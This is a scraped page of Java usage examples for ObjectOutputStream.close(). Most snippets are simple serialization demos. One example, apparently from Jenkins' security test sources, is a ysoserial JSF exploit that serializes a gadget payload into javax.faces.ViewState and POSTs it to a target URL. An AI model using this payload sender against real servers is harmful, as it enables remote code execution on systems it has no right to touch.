Example usage for java.io ObjectOutputStream close

List of usage examples for java.io ObjectOutputStream close

Introduction

In this page you can find the example usage for java.io ObjectOutputStream close.

Prototype

public void close() throws IOException 

Source Link

Document

Closes the stream.

Usage

From source file:Main.java

public static void main(String[] args) throws Exception {

    String s = "Hello World from java2s.com";
    byte[] b = { 'e', 'x', 'a', 'm', 'p', 'l', 'e' };

    FileOutputStream out = new FileOutputStream("test.txt");
    ObjectOutputStream oout = new ObjectOutputStream(out);

    // write something in the file
    oout.writeObject(s);//from  w w w  .j  a v  a2s . c  om
    oout.writeObject(b);
    oout.flush();
    oout.close();
    // create an ObjectInputStream for the file we created before
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.txt"));

    // read and print an object and cast it as string
    System.out.println((String) ois.readObject());

    // read and print an object and cast it as string
    byte[] read = (byte[]) ois.readObject();
    String s2 = new String(read);
    System.out.println(s2);
    ois.close();
}

From source file:Main.java

public static void main(String[] args) throws Exception {

    double b = 123.234d;

    FileOutputStream out = new FileOutputStream("test.txt");
    ObjectOutputStream oout = new ObjectOutputStream(out);

    // write something in the file
    oout.writeDouble(b);/*from  www.  ja  v a 2  s  .c o m*/
    oout.writeDouble(456.789d);
    oout.flush();
    oout.close();
    // create an ObjectInputStream for the file we created before
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.txt"));

    // read and print a double
    System.out.println(ois.readDouble());

    // read and print a double
    System.out.println(ois.readDouble());
    ois.close();
}

From source file:MainClass.java

public static void main(String[] args) throws IOException, ClassNotFoundException {
    System.out.println("Constructing objects:");
    MyBean myBean = new MyBean("A String ", 47);
    System.out.println(myBean);//  w  ww. ja  va 2  s  .  c  o m
    ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("MyBean.out"));
    System.out.println("Saving object:");
    o.writeObject(myBean);
    o.close();

    ObjectInputStream in = new ObjectInputStream(new FileInputStream("MyBean.out"));
    System.out.println("Recovering:");
    myBean = (MyBean) in.readObject();
    System.out.println(myBean);
}

From source file:Main.java

public static void main(String[] args) throws Exception {

    short s = 56;

    FileOutputStream out = new FileOutputStream("test.txt");
    ObjectOutputStream oout = new ObjectOutputStream(out);

    // write something in the file
    oout.writeShort(s);//from  www  .  j a  v a2 s  .co m
    oout.writeShort(new Short("1"));
    oout.flush();
    oout.close();
    // create an ObjectInputStream for the file we created before
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.txt"));

    // read and print a short
    System.out.println(ois.readShort());

    // read and print a short
    System.out.println(ois.readShort());
    ois.close();
}

From source file:jenkins.security.security218.ysoserial.exploit.JSF.java

public static void main(String[] args) {

    if (args.length < 3) {
        System.err.println(JSF.class.getName() + " <view_url> <payload_type> <payload_arg>");
        System.exit(-1);/*from w  w  w. ja  v a2s.co m*/
    }

    final Object payloadObject = Utils.makePayloadObject(args[1], args[2]);

    try {
        URL u = new URL(args[0]);

        URLConnection c = u.openConnection();
        if (!(c instanceof HttpURLConnection)) {
            throw new IllegalArgumentException("Not a HTTP url");
        }

        HttpURLConnection hc = (HttpURLConnection) c;
        hc.setDoOutput(true);
        hc.setRequestMethod("POST");
        hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");
        OutputStream os = hc.getOutputStream();

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(payloadObject);
        oos.close();
        byte[] data = bos.toByteArray();
        String requestBody = "javax.faces.ViewState="
                + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII");
        os.write(requestBody.getBytes("US-ASCII"));
        os.close();

        System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage());
    } catch (Exception e) {
        e.printStackTrace(System.err);
    }
    Utils.releasePayload(args[1], payloadObject);

}

From source file:Main.java

public static void main(String[] args) {
    int[] x = new int[] { 1, 2, 3 };
    int[] y = new int[] { 4, 5, 6 };
    Polygon polygon = new Polygon(x, y, x.length);
    try {/*from   w w w.ja  v  a2  s  .co m*/
        ObjectOutputStream objectOut = new ObjectOutputStream(
                new BufferedOutputStream(new FileOutputStream("Polygons.bin")));
        objectOut.writeObject(polygon);
        objectOut.close();
    } catch (IOException e) {
        e.printStackTrace(System.err);
    }
    try {
        ObjectInputStream objectIn = new ObjectInputStream(
                new BufferedInputStream(new FileInputStream("Polygons.bin")));
        Polygon theLine = (Polygon) objectIn.readObject();
        System.out.println(theLine);
        objectIn.close();
    } catch (Exception e) {
        e.printStackTrace(System.err);
    }
}

From source file:A.java

public static void main(String[] args) throws IOException, ClassNotFoundException {
    System.out.println("Constructing objects:");
    A b1 = new A();
    B b2 = new B();
    ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("File.out"));
    System.out.println("Saving objects:");
    o.writeObject(b1);// ww w .  ja va2s. co m
    o.writeObject(b2);
    o.close();

    ObjectInputStream in = new ObjectInputStream(new FileInputStream("File.out"));
    System.out.println("Recovering b1:");
    b1 = (A) in.readObject();
}

From source file:Blip1.java

public static void main(String[] args) throws IOException, ClassNotFoundException {
    System.out.println("Constructing objects:");
    Blip1 b1 = new Blip1();
    Blip2 b2 = new Blip2();
    ObjectOutputStream o = new ObjectOutputStream(new FileOutputStream("Blips.out"));
    System.out.println("Saving objects:");
    o.writeObject(b1);/* w w  w  .  jav  a  2  s . c  o  m*/
    o.writeObject(b2);
    o.close();
    // Now get them back:
    ObjectInputStream in = new ObjectInputStream(new FileInputStream("Blips.out"));
    System.out.println("Recovering b1:");
    b1 = (Blip1) in.readObject();
    // OOPS! Throws an exception:
    //! System.out.println("Recovering b2:");
    //! b2 = (Blip2)in.readObject();
}

From source file:Main.java

public static void main(String[] args) throws Exception {
    User admin = new User();
    admin.setId(new Long(1));
    User foo = new User();
    foo.setId(new Long(2));

    ObjectOutputStream oos = new ObjectOutputStream(
            new GZIPOutputStream(new FileOutputStream(new File("user.dat"))));
    oos.writeObject(admin);/* ww  w.  ja  v  a  2 s  .  com*/
    oos.writeObject(foo);
    oos.flush();
    oos.close();
}

From source file:AESTest.java

public static void main(String[] args) {
    try {/*from www.  ja va 2 s.c  o  m*/
        if (args[0].equals("-genkey")) {
            KeyGenerator keygen = KeyGenerator.getInstance("AES");
            SecureRandom random = new SecureRandom();
            keygen.init(random);
            SecretKey key = keygen.generateKey();
            ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(args[1]));
            out.writeObject(key);
            out.close();
        } else {
            int mode;
            if (args[0].equals("-encrypt"))
                mode = Cipher.ENCRYPT_MODE;
            else
                mode = Cipher.DECRYPT_MODE;

            ObjectInputStream keyIn = new ObjectInputStream(new FileInputStream(args[3]));
            Key key = (Key) keyIn.readObject();
            keyIn.close();

            InputStream in = new FileInputStream(args[1]);
            OutputStream out = new FileOutputStream(args[2]);
            Cipher cipher = Cipher.getInstance("AES");
            cipher.init(mode, key);

            crypt(in, out, cipher);
            in.close();
            out.close();
        }
    } catch (IOException e) {
        e.printStackTrace();
    } catch (GeneralSecurityException e) {
        e.printStackTrace();
    } catch (ClassNotFoundException e) {
        e.printStackTrace();
    }
}